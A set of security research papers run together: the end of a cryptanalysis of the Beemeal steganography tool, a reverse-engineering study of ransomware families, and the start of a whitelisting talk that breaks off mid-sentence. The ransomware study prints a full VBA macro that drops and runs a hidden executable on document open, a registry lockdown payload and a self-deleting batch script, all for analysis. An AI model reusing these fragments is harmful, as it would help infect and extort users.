generated running key, we try to decrypt the ciphertext corresponding to the text file using the 
corresponding ciphertext.

Then we evaluate the percentage of matching content for both original plaintext file and decrypted 
text file using a tool designed for this purpose: the result is then: 90.50% of the file decrypted using 
the generated running matches the original file.

The computation itself having a complexity linear with the file size: O (n), it takes less than 0.1 
seconds to perform even on an old PC (see table 2).

So by using a simple noise reduction algorithm, we have been able to increase our decryption rate 
from 77.92 to 90.50 (gain of +12.68%). Of course we can imagine that by using a much more 
complex  noise  reduction  algorithm we  could  have  obtained  better  results  (Richard,  1995),  but 
remember that this paper is like a proof of concept, that’s why we won’t dive deeper into the noise 
reduction theory.

We have seen that retrieving the type of each plaintext using only ciphertext permitted us to use this 
information to perform a successful attack decomposed in several steps. Each step permitting to 



discover more and more about the running key that permits to decipher any possible ciphertext 
generated by the same keyfile and passphrase. The attack was possible because there exist strong 
recurrences  between  files  of  the  same  format  (at  least  in  the  header  part),  then  the  last  step 
consisting in a noise reduction was possible because we found out the format of each plaintext, and 
also because the BMP file format is very special as it contains many sequence recurrences.

For  information,  here  follow  the  pictures  that  permit  to  evaluate  the  quality  of  the  decrypt 
algorithms and also the result of the noise reduction algorithm:

• The original BMP plaintext file

• The recovered BMP plaintext using the generated running key and the ciphertext BMP (but 
before noise reduction).

• The recovered BMP plaintext using the corrected running key (after noise reduction) and the 
BMP ciphertext, you can notice that most of the noise was successfully reduced.

Effect of the length of the key (passphrase)

Current versions of Beemeal compel a passphrase with a minimum length of 1024 bytes. We may 
wonder whether increasing the length of this passphrase would increase the security level or not.

In general, intuition tells us that a longer key means a better security, for example with a binary key 
of n bits that we try to guess using a brute-force algorithm, adding only 1 bit to the key multiply by 
2 the search space to be explored by the algorithm, thus with a very small  effort,  you rapidly 
increase the work factor necessary for an attacker to succeed.

To determine if in the case of Beemeal, a longer key means a better security level, we need to focus 
on the steps of the process where this passphrase is used: before starting to encipher, the keyfile’s 
hash and the key (passphrase) hash are computed using the formula:



Running key initial value = hash keyfile + hash key

So the running key’s initial value depends on both the keyfile’s content, and on the key. 

The first step of the ciphertext only attack revealed the types of all plaintext and also the type of the 
keyfile used, and the first bytes of all of these plaintexts were guessed as well, thus we had been 
able to compute the running key initial value with a very small complexity, and the method we used 
for that is not dependant on the value of this running key initial value, thus it is also independent of 
the key’s hash, thus you may choose a 2 bytes key, or a 20’000 bytes key, the work factor will be 
exactly the same, thus the length of the key has absolutely no effect on the security level of the 
application. It just permits to have different running keys when the same keyfile is used several 
times if the user chooses a different key.

Also we can notice that the passphrase is composed of printable characters, and thus the entropy for 
a given byte is not 256, but 95. To give you an idea of the consequences, let’s consider a 8 bytes 
long password,  which is  the minimum in general  for a  password,  the number of operations to 
perform a brute-force attack (considering the worst case : we find the value at the last iteration) is :

• (2exp8)exp8 = 18446744073709551616 if the key is binary
• 95exp8 = 6634204312890625 if the key is composed of printable characters only

Let’s compute the ratio:

18446744073709551616 / 6634204312890625 = 2780

This means that the printable password is 2780 times weaker than the binary password.

For a 16 bytes key, the ratio explodes to reach 7731464, the lesson of this is that we should be 
careful when considering key size, and also that a longer key may not increase the security level in 
some particular cases.

About the Breaking tool

As mentioned earlier, many tools were created in order to perform experiments and attacks, collect 
statistics about large number of files and so on.

Beemeal Breaking tool
Number of lines of code (C++) 3'900 12'000
Development time 10 hours 300 hours

Table 7: Comparison between Beemeal and it’s breaking tool

Here follows a screenshot of these tools which are available through a unique GUI:



Figure 77: The Beemeal breaking tool

Conclusion

First the steganography method used by Beemeal was explained, then it has been demonstrated that 
it was possible to detect stego-image files with a detection rate of 100% and a false positive rate of 
0% for a very low work factor. Then the cipher / decipher symmetric algorithms were explained. 
And after stating the goal of all the attacks on the cryptosystem used, the known plaintext attack 
was performed and the result was a success rate of 100% with a work factor extremely small. 

Then we started the ciphertext only attack which was divided into several steps. 

Each step of the attack permitted to discover more about the plaintext, and about the running key. 
We finally used the probability for each file type to achieve a recovery of 90.50% of the plaintext 
using  only  the  ciphertext  files.  We also  saw that  using  a  long passphrase  doesn’t  increase  the 
difficulty to break this cryptosystem.

The attacks have demonstrated that because Beemeal enforces the use of a very long passphrase and 
keyfile, the probability that the user would reuse the same keyfile and passphrase was very high, 



thus permitting successful ciphertext only attacks. The ciphertext only attack revealed more than 
90% of the running key, the running key permitting to decrypt any subsequent ciphertext.

Furthermore this tool does not resist to known plaintext attack, this is due to the fact that an over 
simplistic operator for cipher operation (‘+’ operator) was used. The success rate of the attack could 
also be improved using classical dictionary attack because one of the plaintext was a text file, we 
forecast that it would be possible to recover about 95% of the running key with a little more efforts 
(Olson,  2007),  however a recovery of 100% is still  a difficult  goal  to  achieve because we use 
probabilistic algorithms instead of exact algorithms.

One important fact is also that our attack succeeded with only 4 ciphertext files, which is very small 
amount of ciphertext (For information, linear cryptanalysis of D.E.S needs 2exp43 known plaintexts 
(Matsui,  1998), it just means that if someone is able to intercept email attachments of someone 
using Beemeal, and if these attachments are automatically collected and saved to a given folder, this 
person can eavesdrop on all further communications, if they are composed of BMP files inserted 
using Beemeal, after collecting only 4 of them. Furthermore we know that our odds of success 
when performing ciphertext only attacks increase with the number of available ciphertext materials.

For  all  these  reasons,  we  can  say  that  even  though  this  tool  used  both  steganography  and 
cryptography, it is not secure and thus should not be used to hide and protect important information.

However, from the point of view of the virus research lab, it may be very challenging to disinfect a 
computer whose files have been hidden into carrier files because even though we have been able to 
retrieve more than 90% of the original file in this particular case, the user would probably consider 
that it’s antivirus software failed to disinfect his computer because the original files could not be 
restored entirely, furthermore in the case of Beemeal we had been able to break the cipher within a 
reasonably short space of time, but what if Beemeal had used RSA or any other similar algorithm 
which uses a public key instead ?

Anti-virus companies might find themselves powerless, even if maximum computing power was 
applied to decrypting the key (Leyden, 2006). The antivirus in that case should exploit a weakness 
in the implementation of the cryptosystem. Otherwise it would be impossible to recover the original 
files in a timely manner.

So the use of steganography with cryptography by a ransomware represents a technical challenge 
for the antivirus industry. And the future will tell whether this kind of threat will grow in importance 
or not.
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Comparative analysis of various ransomware virii

Abstract

The ransomware phenomenon appeared something like 2 or 3 years ago and brought light on  
this specific class of malware. Basically a ransomware is a type of malware that demands a  
payment in exchange for a stolen functionality. Most widespread ransomwares are crypto-
virus. They encrypt files on victim's hard drives and ask a ransom to get files decrypted.  
Security related media or antivirus companies quickly brandished this 'new' type of virii as a  
major threat for computer world.

In  this  article  we  try  to  investigate  the  foundation  of  these  threats  beyond  the  mode  
phenomenon. In order to get a better understanding of ransomware, our study starts with a 
comparative analysis of various ransomware virii. Based on reverse-engineering of various 
virii  samples while not focused on analysis methodology,  this technical review is done at  
various  levels:  quality  of  code,  malwares'  functionalities  and  analysis  of  cryptographic  
primitive implementations if employed.

Our analysis has leaded us to many interesting conclusions concerning this phenomenon, and 
in particular the strength and weakness of used extortion means. We also took advantage of  
our technical review to stand back and to analyze both the business model associated to these  
ransomwares and the communication that has been made around them.

Introduction

Malwares like ransomwares demand a payment in exchange for a stolen functionality. This 
blackmail resides in the strength of their extortion mean. Is this power so terrifying? May few 
resources and reverse-engineering allow to break it? In order to lead our study, we have been 
given a set of eleven ransomwares. According to antivirus editors' classification, they belong 
to  four  different  families:  Krotten,  Filecode,  Dirt211 and  Gpcode.  We  will  present  the 
results  of  our  analyses  accordingly  to  this  family oriented classification.  Furthermore,  by 
observing samples' evolution, we will get an idea of authors' improvements in time. 

Trojan.Win32.Krotten family 

We had in our possession four samples of  Krotten virii:  versions  aj,  ar,  u and  bk.  After 
analysis it appears that  Trojan.Win32.Krotten.ar is not a ransomware at all but a typical 
trojan with various networking abilities, we will not discuss anymore about it in this article. 

General thoughts

• Coded in Delphi for version bk 

• One of our samples was packed with ASProtect. 

• No propagation ability. 

Infection vector

Even if all of our samples had nearly the same payload, they use two different infection 
vectors. 

• Trojan.Win32.Krotten.u and  Trojan.Win32.Krotten.aj
These two malwares take advantage of a high-level virtual machine,  or let's  say a 



small scripting engine, providing a set of meta-actions like `create directory', `create 
key in registry' or `patch process memory'. The malware's behavior is totally scripted. 
This script, which is the malware's payload, is bound at the end of the binary file. The 
script  format  is  really  simple,  code  and  data  are  mixed  in  a  continuation  of 
instructions. 

Figure 1: Flow graph of automate instruction handling.

Here is an example how to tell the engine to create a directory named 
“C:/4182123960615680”: 

 

FO is the opcode to create a new directory. String argument is directly encoded into 
hexadecimal.

F0 43 3A 5C 34 31 38 32 31 32 33 39 36 30 36 31 35 36 38 00



The use of a scripting engine is something quite interesting: the author can produce 
various malwares at a ridiculous cost. One problem remains; the engine which plays 
the script  is a perfect signature for any antivirus detection tool.  On the other side, 
automate adds an abstraction level between effective payload and code, it may also be 
used to slow down reverse-engineering. 

• Trojan.Win32.Krotten.bk
The infection vector is simpler but still really effective. The ransomware presents itself 
as a self-extracting archive, infection is done while simulating a process of extraction. 
It extracts and injects a file named ImportReg.reg into registry using this command: 

 Regedit /s C:\DOCUME~1\*******\LOCALS~1\Temp\ImportReg.reg

This file contains all malicious modifications. It is the same payload as for versions u 
and aj. It has just been transposed from a script to a .reg file.

      1 "NoUpdateCheck"=dword:00000001

      2 "NoJITSetup"=dword:00000001

      3 "Start Page"="http://poetry.rotten.com/failed-mission/"

      4 "NoControlPanel"=dword:00000001

      5 "NoDrives"=dword:03ffffff

      6 "NoRun"=dword:00000001

      7 "NoFind"=dword:00000001

      8 "NoFavoritesMenu"=dword:00000001

      9 "NoRecentDocsMenu"=dword:00000001

     10 "NoLogOff"=dword:00000001

     11 "NoClose"=dword:00000001

     12 "NoSaveSettings"=dword:00000001

     13 "NoUserNameInStartMenu"=dword:00000001

     14 "NoToolbarCustomize"=dword:00000001

     15 "NoThemesTab"=dword:00000001

     16 "NoSMHelp"=dword:00000001

     17 "NoPrinterTabs"=dword:00000001

     18 "NoPrinters"=dword:00000001

     19 "NoNetHood"=dword:00000001

Figure 2: Extract from ImportReg.reg payload.

Extortion mean

Krotten family does not use any file encoding. Instead of that it deeply modifies various 
security rules, user rights and the way Explorer works. Internet Explorer start page is also 
modified. A message box providing ransom message is displayed at logon screen. It uses 
LegalNoticeCaption registry key to do so: 

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]



"LegalNoticeCaption"="DANGER !!!"

Figure 3: Ransom message displayed at system startup

Conclusion

Infected computers' behavior may be really annoying for victims. We should notice that an 
advanced user, with reverse-engineering skills would be able to restore the system into a clean 
state.  Malware  action  is  reversible;  it  also  means  that  author's  extortion  mean  is  weak. 
Another point that is worth noticing is the concept of scripting engine. It is something nice 
among a lot of poor malware codes and deserves a deeper analysis. 

Trojan.Win32.Filecode

We have analyzed two samples of this malware: Trojan.Win32.Filecode.a and 
Trojan.Win32.Filecode.c. 

General thoughts

• Packed with UPX 

• Coded in Delphi 

• Using FLIRT signature in IDA reveals that most of code is made of Delphi libraries and 
only few hand-coded functions to analyze. 

Infection vector

• Copy itself in $WINDOWS%/system as NTFS.exe 

• Modify registry in order to be run at startup: 

hKey = HKEY_LOCAL_MACHINE
Subkey = "software\microsoft\windows\currentversion\run\"



ValueName = "FsystemTracer"
Value \$:\WINDOWS\system\NTFS.exe

• Scan logical drives from letters C: to Z: . For each drives, recursive scan of all 
directories except system directories. 

• Create 50 ransom demand files on victim's desktop after having infected victim's hard 
drives. 

Extortion mean

Filecode is what we could consider as a typical ransomware family. It uses file encoding as 
extortion mean. We can distinguish two behaviors according to the encountered file type.

 File is an executable: 

• Malware replaces all executables by its own copy. 

• Add prefix EXEADDED to original file name. 

• Check that it does not replace an executable whom size is equal to its own size. 
This  check  may  be  intended  to  prevent  from replacing  many  times  the  same 
executable file. 

 Other type of files: 

• Add prefix FILEISENCODED to original file name. 

• File  is  partially  encrypted.  Only  first  5000  bytes  are  encrypted  using  a  XOR 
algorithm. Bytes from 6666 to 10000 are used as key. 

• Version a checks that file size is greater than 5000 bytes before encoding file and 
this leads us to a conception error. Ransomware will then successively read two 
buffers of 5000 bytes, the second being used as key to encrypt the first one. It 
means  that  if  file's  size  is  included  between  5000  and  10000  bytes,  buffer 
containing encryption key will  be filled with unpredictable data  and it  will  be 
impossible to recover original file. This bug has been fixed in version c in which 
file's size is correctly checked and has to be at least equal to 10000 bytes. 



Figure 4: Bug in size check.

Conclusion

• Destructive virii: executables are deleted and replaced by malware’s copies. 

• Poorly coded, version a is bugged and will possibly destroy files whom size is 
included between 5000 and 10000 bytes. 

• XOR algorithm is trivial. 

• Malware does not need to store a key: part of target file is used as key.

Trojan-Spy.win32.Dirt.211

General thoughts

This sample, which is a Microsoft Word document, is not a ransomware and not even a malware 
could we say. What describes it best is the term `infection vector'. It could be used to hide a 
malware binary from user.  Kaspersky lab1 reported in one of their articles1 that a similar 
trojan named Trojan-Dropper.MSWord.Tored.a was used to spray first Gpcode samples in 
2005. That's  the reason why we chose to analyze and to incorporate this malware in our 
review. 

Infection vector

• Payload is located into document's macro. 

• The macro is protected by password; many techniques exist to bypass this protection. 

• Once the macro is extracted, we are able to analyze its behavior: 

1 http://www.viruslist.com/en/analysis?pubid=189678219



Sub AutoOpen() 'rename to AutoOpen
    Dim filebuffer(511) As Byte, tempChar As Byte, id(23) As Byte
    Dim retval As Long, x As Long, xpos As Long, afile As String
    id(0) = 118
    ....
    id(23) = 216

    Open ActiveDocument.FullName For Binary Access Read As #1
    x = 0
    retval = LOF(1)

    If retval < 48000 Then Exit Sub
    If retval > 72000 Then retval = retval - 72000 Else retval = 1

    Seek #1, retval

    Do
        Get #1, , tempChar
        If tempChar = id(x) Then x = x + 1 Else x = 0
    Loop Until EOF(1) Or x = 24

    If x <> 24 Then
        Close #1
        Exit Sub
    End If

    afile = Environ("TEMP")
    If afile = "" Then afile = Environ("windir")
    If afile = "" Then afile = "c:"
    If Right(afile, 1) <> "\" Then afile = afile + "\"
    afile = afile + "setupzxx.exe"
    Get #1, , retval
    Open afile For Binary Access Write As #2

    Do
        Get #1, , filebuffer
        If retval >= 512 Then
            Put #2, , filebuffer
            retval = retval - 512
        Else
            x = 0
            Do
                tempChar = filebuffer(x)
                Put #2, , tempChar
                x = x + 1
                retval = retval - 1
            Loop Until retval = 0
        End If
    Loop Until retval = 0

    Close #2
    Close #1
    retval = Shell(afile, vbNormalFocus)

End Sub

Figure 5: Macro's VB code.

• Macro translated into pseudo-code: 

      1 - Try to get a read access current on document's file
      2 - Match a pattern to get binded data's position
      3 - Extract data into an external file
      4 - Try to execute extracted file

Figure 6: Macro's pseudo-code.



Conclusion

This macro could be used to extract and run an executable bound into the document while the 
document is opened. No more action is required from user than trying to open the document. 
Nevertheless, in last versions of major office suites, macro execution is disabled by default or 
at least they require a confirmation from user.

Trojan.Win32.Gpcode

Gpcode is the most famous family of ransomware. First version (a) appeared in December 
2004 while the last one (ai) was first discovered in July 2007. An interesting point is to follow 
the evolution of encryption algorithm among successive versions. Version a, b, e and ac have 
been analyzed.

General thoughts

• Coded in C++. 

• Some samples were packed using UPX. 

Infection vector

• Malware first check that only one instance is running by testing a mutex named 
encoder_v1.0 in version a, b and ac, encoder_v1.1 in version e. 

• Malware creates a thread responsible for directories scanning and files encryption. 

• Modify registry in order to be run at startup using this key 

HKEY_LOCAL_MACHINE\ software\microsoft\windows\currentversion\run\

• It uses a hardcoded list of targeted file formats. It seems that only archive and 
document file formats are targeted. 

.data:0041B228                 dd offset aDbt          ; "dbt"

.data:0041B22C                 dd offset aDb           ; "db"

.data:0041B230                 dd offset aSafe         ; "safe"

.data:0041B234                 dd offset aFlb          ; "flb"

.data:0041B238                 dd offset aPst          ; "pst"

.data:0041B23C                 dd offset aPwl          ; "pwl"

.data:0041B240                 dd offset aPwa          ; "pwa"

.data:0041B244                 dd offset aPak          ; "pak"

.data:0041B248                 dd offset aRar          ; "rar"

.data:0041B24C                 dd offset aZip          ; "zip"

.data:0041B250                 dd offset aArj          ; "arj"

.data:0041B254                 dd offset aGz           ; "gz" 

Figure 7: Extract from target file formats list.

This list evolves with version.



• Malware generates and launches a  .bat file which tries to delete malware binary. It 
may be a good mean for it to prevent from being reverse-engineered. %s is replaced by 
malware's module file name. 

1 @echo off

2 Repeat1

3 del %s

4 if exist %s goto Repeat1

5 del %s

Figure 8: Bat script to delete malware binary.

• An  interesting  point:  malware  tries  to  use  RegisterServiceProcess from 
kernel32.dll to hide itself from task manager in Windows 95/98/Me, this will also 
make the malware start at boot time for these operating system.

Extortion mean

Gpcode has built  its  reputation upon its  ability to encode files.  Here is the algorithm (in 
pseudo-code) used in version a, b and e. Initialisation values are those used in version a. Only 
a few changes are made. Values like key, scale and base are modified each time. 

      1 key = 13h
      2 scale = 3Ch
      3 base = 57h
      4 
      5 for buffer in files:
      6    for(int i = 0; i < sizeof(buffer); i++) :
      7       buffer[i] += key
      8       key = (key*scale)mod(FFh) + base

Figure 9: Encryption algorithm in pseudo-code.

This algorithm is really weak. It uses a basic polynomial form to calculate the key at each 
round: newKey = key * scale = base. All computations are done modulo 8 bits. Even if the 
malware successfully deletes itself, encryption would not resist to cryptanalysis.



Figure 10: Encryption scheme used in version a, b and e.

In version ac, the author crossed a decisive step and introduced use of asymmetric encryption 
using RSA. Modulus can be found in data: 

UPX1:00418340 a68243170728578 db '68243170728578411',0 ;

Conclusion

One question remains: why does it implement RSA with a 56 bits key that can be factored in a 
few moments? If malware is caught and reverse-engineered it is clear that its mean of 
extortion does not exist anymore.
Later version use stronger keys, up to a 660 bits key. Just suppose that a victim accepts to pay 
the asked ransom and gets the appropriate decryption tool. This decryption tool would allow 
to retrieve and publish private keys and again its mean of extortion does not exist anymore.
In the last version RSA has been replaced by a modified RC4 algorithm but same conclusions 
can be made, reverse-engineering of the malware binary allows to create a decryption tool. 



General conclusions

We now have a better understanding of the ransomware phenomenon and we can make few 
conclusions: 

• Code is most often quite poor, no armoring, no pure jewel of low level assembly or 
nothing of this kind. Most of the time they are coded in high level languages and bring 
no innovation. This point is not surprising as it is a general tendency in malwares' 
world. 

• All authors follow the same procedure and generate a file or display a message in 
which  they  provide  an  email  address  to  contact  in  order  to  obtain  a  mean  of 
disinfection.  They  have  to  find  a  compromise  between  being  reachable  and  their 
anonymity. 

• If we think about the business scheme that relies behind all of these malwares, the 
least we can say is that it is weak. Most of time reverse-engineering would allow to 
build a proper decryption tool. This conclusion is directly linked with the fact that 
ransomware  authors  have  a  quite  limited  knowledge  of  cryptography.  All 
implementations of cryptographic primitives that we saw are basic ones, fortunately 
for their potential victims. This brings us to our next conclusion. 

• No ransomware has reached a sufficient complexity level to successfully become a 
mass extortion mean. If we think about it, we can also assume that it may not be one 
of authors' goals. Evolving into a business on a large scale would attract too much 
light on it and make it too much visible. One watchword could be: 'Few investments,  
few incomes, few risks'. 

• The kind of ransomware we have analyzed for this study is clearly intended for mass 
propagation and we should not forget that ransomwares' strength comes from the fear 
they  generate  into  lambda-user  mind,  not  from  their  technical  skills.  A  typical 
illustration of this is the last Gpcode in which the author claims that its ransomware 
uses a RSA-4096 algorithm whereas it uses a custom RC4. Even better, in the ransom 
message  it  is  said  that  “all  (victim)  private  information  for  last  3  months  were  
collected  and sent  to  (ransomware  author)”.  Once  again  this  is  not  true  but  it  is 
intended to generate doubt and fear into victim's mind and to convince it to pay the 
asked ransom. On this last  point, the best ransomwares authors'  ally may be a too 
much sensational communication from media and antivirus companies. 

• The ransomware phenomenon is a reality that has to be monitored but in some ways it 
is not a mature and complex enough activity that deserves such communication around 
it. Ransomwares as a mass extortion mean is certainly doomed to failure, but it may be 
extremely interesting to investigate how they can be used (how they are used) for 
targeted attacks on a limited perimeter. 
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How to Win with Whitelisting

Abstract 

This talk will illustrate scenarios where whitelisting approach enhances and transforms security  
industry.   It  will  cover  whitelisting  effects  on  increasing  efficiencies  in  the  anti-malware  and 
vulnerability research labs, and ways to deal with the flood of incoming malware. The talk will  
show how whitelisting allows easy tracking of new types of malicious or unwanted software.  It will  
also illustrate ways in how whitelisting can improve the quality of security software.  Finally, it will  
talk about embedded uses of whitelisting to radically transform Anti-Malware, Personal Desktop 
and HIPS products.

This talk will illustrate whitelisting approaches to improving the quality of security software and  
radical transformation of Anti-Malware, Personal Desktop and HIPS products..  It will cover ways 
of increasing efficiencies in the anti-malware and vulnerability labs, and ways to reduce the flood 
of  incoming  malware.  The  talk  will  also  show whitelisting  power  in  tracking  of  new types  of  
malicious or unwanted software.

Introduction

Many talks over last couple of years have focused on the enormous growth of malware and its 
prevalence.   Arrival  of new types of  threats,  such us  rootkits,  botnets and image/media fuzzed 
content has added to double whammy.  Dealing with millions of signatures alone is bound to trigger 
the total breakdown of our existing methodologies in dealing with end point protection.  This is a 
problem akin to treating a patient with increasing amount of antibiotics rather than sending him/her 
for  a  second  opinion.   You  start  with  Amoxicillin,  then  Cipro,  and  while  there  is  a  slight 
improvement, the only sensible option left is to load up the patient with ever stronger drugs.  As we 
are  currently  at  the  stage  of  administering antibiotics  via  IV (intra-day signature  updates),  our 
patient’s  veins  are  starting  to  show signs  of  an  allergic  reaction.   How much  can  this  patient 
withstand before we a wholesale failure, before a complete let down for end-users that we were 
supposed to protect?

Slide 1: Sophos and Kaspersky statistics about a sharp increase in the quantity of incoming samples in 
2006 and 2007.



A Word on Hype

As with  any doomsday scenario,  narrator  usually  has  a  magic  bullet  solution that  is  meant  to 
instantly recover the patient and make everyone happily live ever after. Let’s warn those intents on 
delusional fantasies and Byzantine conspiracies that such worries are completely baseless and again 
just a byproduct of the current hype.  Just such a scenario has been prophesized recently by Robin 
Bloor in his AVID (Anti-Virus is Dead) campaign (Bloor, 2007).  Blacklisting is dead, long live 
whitelisting.  It didn’t take a long for research community to respond, albeit emotionally, as is the 
case with any subject that we feel passionate about (Bontchev, 2007).  Counter responses ensued 
(Poynter, 2007), and on and on.  So where are we with whitelisting?  Is it a sign of the times, a false 
prophesy, or hype?

A Word on History

Just like hype and hip hop, whitelisting came to the fore for the first time in the early 90s.  It was 
not  a  brilliant  insight  worthy of  Einstein,  but  simply  a  healthy logic.   Early  AV pioneers,  Ted 
Schlein (one of the pre-eminent minds in security) (Schlein, 2008) and Peter Tippet (ER physician 
by training, fascinated with biomorphic functionality of early viruses), both at Symantec Norton, 
have seriously considered whitelisting as a premise for the future of Norton AV.  From a strictly 
medical perspective, this was a choice between surgery and therapy.  Being more exact, surgical 
approach meant surgically taking out malware.  In other words, removing all malicious content was 
quicker and much more effective way to heal the patient.  Whitelisting on the other hand, akin to 
therapy, was considered too complicated, cumbersome, even hard to imagine, and all for the right 
reasons.  No one was imagining the rapid success of internet, Google-like search speeds, universal 
broadband access and super affordable supercomputing hardware.  From the perspective of early 
90s, blacklisting was the only sensible approach, even though it was painfully clear that reactive 
medicine would one day lead to abundance of medicine which will ultimately be harmful to the 
patient.

Building a traditional argument for Whitelisting

Let’s fast forward to today and leave the medicine and early 90s behind.  Most organizations are 
connected to the public network in some form or another.  We are not longer practicing security 
through isolation.  We are always connected to the source of problems and according to some IT 
administrators, “it has never been so bad”.  Imagine yourself as managing an organization with 70K 
endpoints just  in one single building.  In this case you are most likely one of the brand name 
organizations in whatever  industry you choose.   You are always under the attack, that  is,  your 
statistical chances are 70K times likelier that you will be a subject of a Zero-Day attack.  In addition 
to worrying about types of attacks that you cannot do much about in this reactive protection world, 
you need to  deal  with  false  alarms,  e.g.  emails  from your  favorite  vendor saying,  “a  threat  is 
airborne and manifests itself through presence of foo.exe”.  Thank you very much, let me set my 
hordes to go and smoke out the offending intruder.  So in reality, what are you to do?  You can start 
running network search over your 70K machines looking for foo.exe, which is highly unlikely to 
produce timely results given the abhorring latency of such an approach.  Plus, if it was truly virulent 
attack, the likes of Sasser, Bagle and company, by the time you would find the offending foo.exe, it 
would have been way too late, your organization at standstill and CEO at your door.  

OK, it sounds bad, but that’s life.  Sasser and Bagle are history and fortunately big embarrassing 
and public outbreaks are also part of history.  Legacy of those attacks has gone underground and is 
making money.  So we are good for now, that is today.  But what you can certainly watch in horror 
unfold is hard drive pile up, whether with documents or media, or software that each employee 
pulls down, or simply by all the patches that you central software distribution server collects, the 



time has arrived when a mandatory 2AM deep scan will not finish by the start of the next work day. 
And if that is a problem for a larger section of your install base, you have a rebellion at your hands, 
a red-carded AV vendor and a CEO at your door.  It just doesn’t seem that you can win.

Another super-sensitive problem is issue of “false positives”.  Imagine your 70K endpoints again. 
That’s at least 4.2B files executable files under management, albeit with much duplication.  We 
assume here 60K files per a typical endpoint.  Let me assure you that there is not one Anti-Malware 
vendor who has a collection of normal files in their QA collection that would match the amount of 
software available in an enterprise environment of a single Fortune 100 company.  This is a serious 
problem as  false  positive  incidences  are  not  rare  (Vuksan,  2007a).   Furthermore,  our  research 
suggests that the problem is gaining momentum given the pressure to provide better heuristics and 
behavior detections [Figure 1].  Additionally, commercial software vendors are increasingly using 
methods for packing and protecting their code that was almost exclusively used by malware writers 
until yesterday [Figure 2]. 

Figure 1: Potential False Positive Distribution, August 2007.



Figure 2: Packer/Protector Distribution among Commercial Software

These are our preliminary testing results performed on a sample of 35TB of whitelisted content in 
May  of  2007.   Results  involved  only  static  detections  (signature/packer/heuristic)  and as  such 
represent only a part of the picture.  Once real runtime tests are repeated, “false positive” results 
will  be  significantly  worse.   Anecdotally,  heuristics  and  behavioral  methodology  gives  a  very 
significant rise in false positive detections and warnings.  This and proper detection of malicious 
components is certainly one of the major areas that a newly formed testing organization, AMTSO 
(Anti-Malware Testing Standards Organization), is trying to address (AMTSO).  Additional “false 
positive” risk arrives with blacklisting packer/protector formats en masse.  While it sounds like a 
great  strategy to  eliminate  the  workload,  it  arrives  with  a  risk  that  there  will  always be  some 
Google, Adobe or Skype that may adopt a formerly-known-as-malicious posture in order to protect 
their Intellectual Property.

Delusions about Whitelisting

Great! So how does this relate to whitelisting? The basic premise of a very limited understanding of 
application  whitelisting  is:  we  are  going  down  the  rat  hole  with  blacklisting  and  reactive 
technologies, how about inverting the world (how very reactionary from us, children of the 60’s or 
the 70’s punk era) and let’s assume that the inverse is automatically better.  Managing only the 
known components, while ignoring or banning all the rest, just makes perfect sense.  One must feel 
like the man who has invented the wheel.  Back in the medical world, it must sound like, let’s focus 
on wellness and exercise and we will never ever get sick.  It seems that one delusional behavior all 
of a sudden is being replaced by another.



Hard Facts

Let’s list some hard facts about whitelisting first.  Our research shows a tremendous abundance of 
known good commercial and open source software.  We have so far identified over 6B files in over 
9M  commercial  applications  representing  some  350M  unique  binary  entities.   Add  to  this  a 
propensity of every developer to create projects/shareware/freeware and post them on one of tens of 
thousands of shareware/freeware web sites (all in a wide variety of exotic languages), and you’ll 
start to appreciate Bit9’s conundrum when we say that acquiring 50M new files a day is only a 
beginning.  Malware researches tend to look at these numbers in disbelief as they are struggling 
with hundreds of thousands of malicious files today.  Sight of billions of entries makes them sick to 
their stomach.  

But let’s return to facts.  By our estimate, 50M of new daily files breaks down to 500,000 new files 
daily  from  Microsoft  alone.   This  is  comparable  to  the  same  amount  new  files  available  on 
SourceForge daily (Vuksan,  2007c).   Mozilla by comparison generates some 250,000 new files 
daily as it has adopted public daily builds policy.  Frequent daily or public builds are becoming a 
fixture of open source projects and as a proliferation of system tray updaters (in Windows) shows 
are sign to come for commercial vendors as well.

Being honestly serious, no Whitelisting vendor expects to ship all of these signatures (if so many 
could ever be created) down to the endpoint.  What’s the point of a holographic vision (of the digital 
world),  especially if it  doesn’t come for free? And it definitely does not, as for example just a 
minimal dataset on 6B records amounts to more than 200 GB of data.  

Yet, there are numerous scenarios where, when looking at the world from the whitelisting vantage 
point, numerous security solutions begin to smile and breathe a sigh of relief.  This is the point of 
this paper.  We want to examine these solution scenarios and illustrate that by looking through the 
whitelisting tinted glasses, our current security solutions look better.  And not only better, but have a 
great chance in making good on the promise to end users  to make their  computing experience 
seamless and more secure.

Utilizing Whitelisting to Win

The best antidote for inspired and abstracted technological babble is a look through examples.  In 
the  following illustration [Figure  3],  we have listed  just  some of  the  solution scenarios  where 
“whitelisting” can help or become intrinsic part of today’s and especially tomorrow’s solutions.

They are broken in several critical groups identifying ways in which Whitelisting information can 
be  used.   File  identification  has  the  most  immediate  use  for  several  types  of  threat  research 
purposes.  Application identification is critical in various asset control and management situations. 
Big repository of information on files and software can further be used as solution accelerators, 
while  whitelisted  data  sets  in  themselves  are  intrinsic  to  any  end  point  lockdown  scenario. 
Embedded uses for whitelisting show that not only is it critical in any back end solution or usage in 
a threat research lab, whitelisting has it proper place a first line of defense, a first filter that makes 
life for security solutions much more manageable.



Figure 3: Whitelisting Solutions

To rephrase,  Whitelisting allows not  only for secure identification of software and files,  but  is 
viewed as an accelerator for numerous solutions, coming from the premise that at high volumes 
generic signature generation (such as MD5, SHA-1, OMAC or any other proprietary scheme – it is 
not necessary to hash the entire file as ideally you would want to account for fuzzing) performs 
much better than a complicated signature/heuristic/behavioral analysis.  

Let’s examine in more detail a few select usage scenarios:

Anti-Malware: Filtering Incoming Samples

Biggest challenge today for a modern Anti-Malware lab is dealing with multiple and super abundant 
data streams of malware.  VirusTotal, Jotti or customer submission mechanisms are good examples 
of  these  new  and  rich  data  streams.   Frequently  these  submissions  are  devoid  of  context  or 
behaviorally specificity, but they are abundant and prolific.  As such, they create an amazing burden 
on teams of Malware analysts and researchers.  Imagine just for a second a fraction of a percent of 
users that tend to submit false alarms to their Anti-Malware vendor.  Then multiply that number by 
60 or 100 million users.   The result is not pretty,  and as such, even organizations with several 
hundred researchers worldwide simply cannot  cope up with the anticipated flood of potentially 
malicious  samples.   Hence,  all  major  vendors  are  busy  with  creating  automated  sample  pre-
qualification mechanisms, whitelisting being a critical part of it, in order to prioritize threats and 
minimize need for re-evaluation of the same family of samples.   A well  structured whitelist  is 



essential  in  reducing  and  qualifying  incoming  malicious  data  feeds.   As  an  added  bonus,  a 
combination of an extensive whitelist  and properly indexed blacklist,  in  our  studies effectively 
